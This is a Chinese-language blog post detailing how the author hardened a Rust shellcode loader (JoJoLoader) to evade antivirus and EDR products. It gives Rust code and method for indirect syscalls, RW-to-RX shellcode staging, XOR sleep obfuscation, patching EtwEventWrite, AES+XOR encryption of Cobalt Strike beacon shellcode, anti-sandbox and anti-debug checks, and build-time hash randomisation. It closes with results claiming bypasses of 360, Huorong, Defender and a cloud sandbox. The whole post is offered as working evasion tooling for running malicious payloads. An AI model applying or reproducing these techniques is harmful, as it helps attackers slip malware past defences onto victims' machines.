记一次 Rust 免杀 Loader 的折腾过程

0x00 起因

之前一直在用 Go 写 loader,千机那个项目搞了好几版,效果越来越差。最离谱的是有一次改了几个字符串重新编译,360 直接秒杀,连行为检测都没走到就被 QVM 静态干了。

翻了一下 virustotal 上面 Go 编译的样本,发现只要是 Go 写的,不管功能多简单,360 基本都标红。原因也简单——Go 的 runtime 太大了,一个 hello world 编译出来 2MB,里面带了 GC、goroutine scheduler 这些特征码,想不杀都难。

后来在 github 上看到几个 Rust 写的项目,编译出来就几百 KB,virustotal 一扔啥也不报。正好 Rust 也支持内联汇编,可以写 syscall stub,不用走 ntdll 的导出函数。就决定把整个 loader 用 Rust 重写一遍。

项目叫 JoJoLoader,仓库在 https://github.com/Pizz33/JoJoLoader,原版能过 360+火绒+Defender,但对于卡巴和 ESET 这种带内存扫描的还有点勉强。下面是我在原版基础上做的免杀加固,以及每一步的思路和踩过的坑。

0x01 整体流程

loader 做的事情其实很简单:读加密的 shellcode → 解密 → 扔到内存里执行。复杂的地方都在"怎么执行"和"怎么不让杀软发现"。

每一步都有讲究,下面一个一个说。

0x02 间接 syscall——不碰 ntdll 的导出函数

这是整套方案里最核心的东西。

360、火绒、Defender 在用户态都会 hook ntdll.dll 的导出函数。你调 NtAllocateVirtualMemory,实际上先进了 EDR 注入的 hook 函数,EDR 在里面检查你的参数,判断你是不是在干坏事,然后再决定放行还是拦。

左边 x64dbg 显示内存中 ntdll!NtAllocateVirtualMemory 被 EDR 注入了 jmp 指令;右边是直接从 C:\Windows\System32\ntdll.dll 读出来的原始字节,干干净净

绕过思路也不新鲜——你自己解析 syscall 号,自己写个 stub 直接 syscall 进内核,根本不走 ntdll 的导出函数,EDR 的 hook 就形同虚设了。

// ntdll 里每个 NT 函数的开头长这样:
// 4c 8b d1        mov r10, rcx
// b8 XX XX XX XX  mov eax, <SSN>    ← 我们要的就是这4个字节
// 0f 05           syscall
// c3              ret

fn resolve_ssn(name: &str) -> u32 {
    // 从 PEB 拿到 ntdll 基址
    let ntdll = get_ntdll_base_from_peb();
    // 走导出表找到函数 RVA
    let func_rva = walk_eat(ntdll, name);
    // 读 syscall stub,偏移 +4 处就是 SSN
    let stub = (ntdll + func_rva) as *const u8;
    read_u32(stub + 4)
}

然后直接用 Rust 的 asm! 宏调 syscall:

unsafe fn nt_alloc(...) -> i32 {
    let ssn = resolve_ssn("NtAllocateVirtualMemory");
    asm!(
        "mov r10, rcx",
        "mov eax, {ssn}",
        "syscall",
        ssn = in(reg) ssn,
        in("rcx") process_handle,
        in("rdx") base_address,
        ...
    )
}

注意几个坑:

坑1:SSN 不能写死。Win10 1809 和 Win11 22H2 的 NtCreateThreadEx 的 syscall 号不一样。直接硬编码换台机器就炸。必须从磁盘上的 ntdll 动态解析,不要用内存中已经加载的那份(那份可能已经被 hook 了)。

坑2:最好从 C:\Windows\System32\ntdll.dll 读磁盘文件来解析,而不是用 PEB 找到的已加载模块。某些 EDR 会对已加载的 ntdll 做 inline hook,你读到的 stub 可能是被篡改过的。当然如果 EDR 连磁盘文件都 hook 了那另说,不过那个级别的对抗一般只有 Rootkit 才会做。

坑3:Rust 的 asm! 需要 nightly 编译器。这个没办法,stable 不支持 asm!。编译的时候记得 rustup default nightly-x86_64-pc-windows-msvc。

0x03 内存属性——别用 RWX

VirtualAlloc(RW) → 复制 → VirtualProtect(RWX) 这个套路几十年前就在用了,现在已经被各种 EDR 钉在墙上当典型。不管什么杀软,看到你的进程突然冒出一个 RWX 页面,100% 告警。

其实 shellcode 不需要可写,改成 RX 就够了:

// 1. 先分配 RW
nt_alloc(-1, &mut region, &mut size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

// 2. 写入 shellcode
copy_nonoverlapping(shellcode, region, size);

// 3. 休眠,期间把 shellcode 加密(这时候内存扫描看到的全是垃圾)
obfuscated_sleep(2000, region, size);

// 4. 改成 RX(不是 RWX)
nt_protect(-1, &mut region, &mut size, PAGE_EXECUTE_READ, &mut old);

Process Hacker / System Informer 查看 project.exe 的内存区域,可以看到有一个 RX 页面(Type: Private, Protection: RX),旁边没有 RWX 页面

全程不会出现 RWX,EDR 少了一个最重要的告警触发点。

0x04 休眠混淆——让内存扫描扑空

Defender 和卡巴这类带内存扫描的,会在后台定时扫你进程的可执行页面,看有没有 shellcode 特征。

我的做法是在 Sleep 之前把 shellcode XOR 一下,睡眠期间扫描器看到的就全是乱码,醒了再还原:

用 Process Hacker 分别 dump 休眠期间和唤醒后的内存,左边是 XOR 后的随机字节,右边是解密后能看出 PE header(MZ)的 shellcode

unsafe fn obfuscated_sleep(ms: u64, sc: *mut u8, size: usize) {
    // 加密
    for i in 0..size { *sc.add(i) ^= 0xDE; }

    // 用 NtDelayExecution 直接 syscall 睡眠
    nt_sleep(ms as i64);

    // 解密
    for i in 0..size { *sc.add(i) ^= 0xDE; }
}

这里有个小细节:睡眠用的 NtDelayExecution,不是 kernel32 的 Sleep。两个原因:一是 Sleep 也可能被 hook;二是 IAT 表里出现 Sleep 这个导入本身就很可疑,正常程序谁会在栈上加密解密然后 Sleep。

0x05 ETW Patch——关掉摄像头

Windows 的 ETW(Event Tracing for Windows)是个好东西,几乎所有安全事件都通过它上报。EtwEventWrite 就是那个上报的入口。

做法粗暴有效——找到 EtwEventWrite 的地址,把第一条指令改成 ret:

unsafe fn patch_etw() {
    let ntdll = get_ntdll_base();
    let etw_addr = find_export(ntdll, "EtwEventWrite");

    // 改内存保护 → 写入 0xC3 (ret) → 恢复
    nt_protect(-1, &mut etw_addr, &mut 1, PAGE_EXECUTE_READWRITE, &mut old);
    *etw_addr = 0xC3;
    nt_protect(-1, &mut etw_addr, &mut 1, old, &mut old);
}

其实还有更隐蔽的做法,比如不直接改 ntdll 的函数,而是走 ETW 的 provider 注册链路里下钩子。但对于大多数场景,直接 patch EtwEventWrite 就够了。

0x06 Shellcode 加密——两层比一层好

原版只有一层 XOR,key 是随机 UUID。虽然 XOR 速度快,但有个问题:如果原始 shellcode 里 \x00 很多(beacon 的 PE 头里就有大段零),XOR 之后 key 就直接暴露了。

我改成了两层:外面一层 XOR 保留(兼容原版),里面加一层 AES-128-CTR:

# encrypt.py
from Crypto.Cipher import AES

# Layer 1: AES-CTR
cipher = AES.new(uuid_key.bytes[:16], AES.MODE_CTR, nonce=nonce)
encrypted = cipher.encrypt(shellcode)

# Layer 2: XOR rotate
for i in range(len(encrypted)):
    encrypted[i] ^= uuid_key.bytes[i % 16] ^ 0x5A

010 Editor 里对比三种文件:原始 beacon_x64.bin(能看到大量 \x00 和 PE 结构)、单层 XOR 加密(能看到重复的 key 模式)、双层 AES+XOR 加密(完全随机分布)

AES-CTR 把字节分布打平了,XOR 那层更多是用来迷惑杀软——让它以为是普通的 XOR,实际上里面还有一层 AES。

当然如果你不想依赖 pycryptodome,也可以用纯 Python 的 XOR-CTR fallback,本质是用 SHA256 生成 keystream,效果也不差。

0x07 反沙箱——别在虚拟机里跑

时间加速:为了快速出结果,沙箱会给 Sleep 加速。sleep 3000ms 实际只过了几百毫秒,一测就知道。

let start = Instant::now();
thread::sleep(Duration::from_millis(3000));
if start.elapsed().as_millis() < 2500 {
    exit(0);  // 时间被加速了,在沙箱里
}

桌面没东西:正常用户的桌面不可能只有两三个文件。沙箱环境桌面通常很干净。

用户名和主机名太规整:sandbox、virus、malware、test、admin、user 这些名字基本可以确定是沙箱。

微步云沙箱分析报告,显示文件在执行初期就退出了,没有触发任何恶意行为,判定为安全

调试器:用 NtQueryInformationProcess 查 DebugPort 和 DebugFlags,比 IsDebuggerPresent 靠谱多了。后者太好 hook 了。

fn anti_debug() {
    // 查 DebugPort——调试器会附加一个调试端口
    let mut debug_port: usize = 0;
    nt_query_info_process(-1, 7, &mut debug_port);
    if debug_port != 0 { exit(0); }

    // 查 DebugFlags——被调试时这个 flag 会被清零
    let mut debug_flags: usize = 0;
    nt_query_info_process(-1, 31, &mut debug_flags);
    if debug_flags == 0 { exit(0); }
}

说一下反沙箱的取舍问题。不是越多越好,每个检测都可能误杀正常用户环境。比如原来有个 IP 检测是 cmd /c curl 调 ipip.net 看出口 IP 在不在中国——这个思路对,但调 curl 本身就会启动子进程,反而多了一个行为特征。所以我把它去掉了,改用系统语言区域判断,虽然精度低一点但更隐蔽。

0x08 编译混淆——让每次编译都不一样

杀软的一个常见做法是对编译产物做哈希拉黑。如果你每次编译出来的 exe hash 都一样,那只需要拉黑一个样本你就废了。

我加了一个简单的机制:build.rs 在每次编译时把当前时间戳写进代码里当随机盐:

// build.rs
let salt = SystemTime::now()
    .duration_since(UNIX_EPOCH)
    .unwrap()
    .as_nanos();
fs::write("build_salt.txt", format!("{}u64", salt));

再加上 Cargo.toml 里的 release profile:

[profile.release]
lto = true           # 跨 crate 内联,打乱函数边界
codegen-units = 1    # 单线程编译,不分割代码段
opt-level = "s"      # 体积优化,改指令选择
strip = true         # 剥符号
panic = "abort"      # 去掉 panic handler

同一个源码编译两次,出来的二进制 hash 完全不同。

0x09 实测效果

都是在 Windows 10 21H2 上测的,更新到最新病毒库:

PowerShell 执行 Defender 命令行扫描

  • 360 安全卫士:静态+动态都能过。间接 syscall 把它的 QVM 行为模型绕过去了。
  • 360 杀毒:大部分时候能过,偶尔 QVM 误报。遇到这种情况换个图标重新编一次就好,QVM 的模型对图标资源也有权重。
  • 火绒:静态动态都过。火绒的 ntdll hook 能检测到,但换 syscall 之后它就抓瞎了。
  • Defender:ETW patch + 休眠混淆后能过。
  • 微步云沙箱:反沙箱生效,沙箱里直接退出了,没跑出行为。
  • 卡巴:静态能过,但内存扫描还是会抓到 beacon。需要从 CS 的 bin 那边做二开,单靠 loader 搞不定。
  • ESET:同上,loader 静态没问题,但 beacon 在内存里明文字节还是会被扫出来。

卡巴和 ESET 这个问题,本质上不是 loader 的锅。只要你的 beacon 是原版 CS 生成的,内存里一定有固定特征(比如 beacon 的配置块、DLL 导出表等)。要么自己二开 CS 改 beacon 的内存布局,要么换用其他的 C2 框架。

0x0A 一些碎碎念

用 Rust 写 shellcode loader 最大的感受是——舒服。Cargo 的依赖管理、编译速度、错误提示都比 Go 好不少。尤其是 asm! 宏,写 syscall stub 直接内联汇编,不用像 Go 那样搞什么 gopherjs 或者 CGO。

不过也有不爽的地方。nightly 编译器是个硬伤,团队协作的时候每个人都要配 nightly,CI/CD 也得跟着改。另外 Rust 的 Windows 生态还是不如 C/C++ 成熟,有些 Win32 API 的 binding 不全,得自己写。

还有一个要说的是——免杀这事不要指望一个 loader 吃遍天。360 的 QVM 更新很快,你今天能过的样本,下个月可能就杀了。关键是理解每种对抗手段的原理,盯住杀软的更新日志,它改什么你就绕什么。

0x0B 项目地址

JoJoLoader 原版:https://github.com/Pizz33/JoJoLoader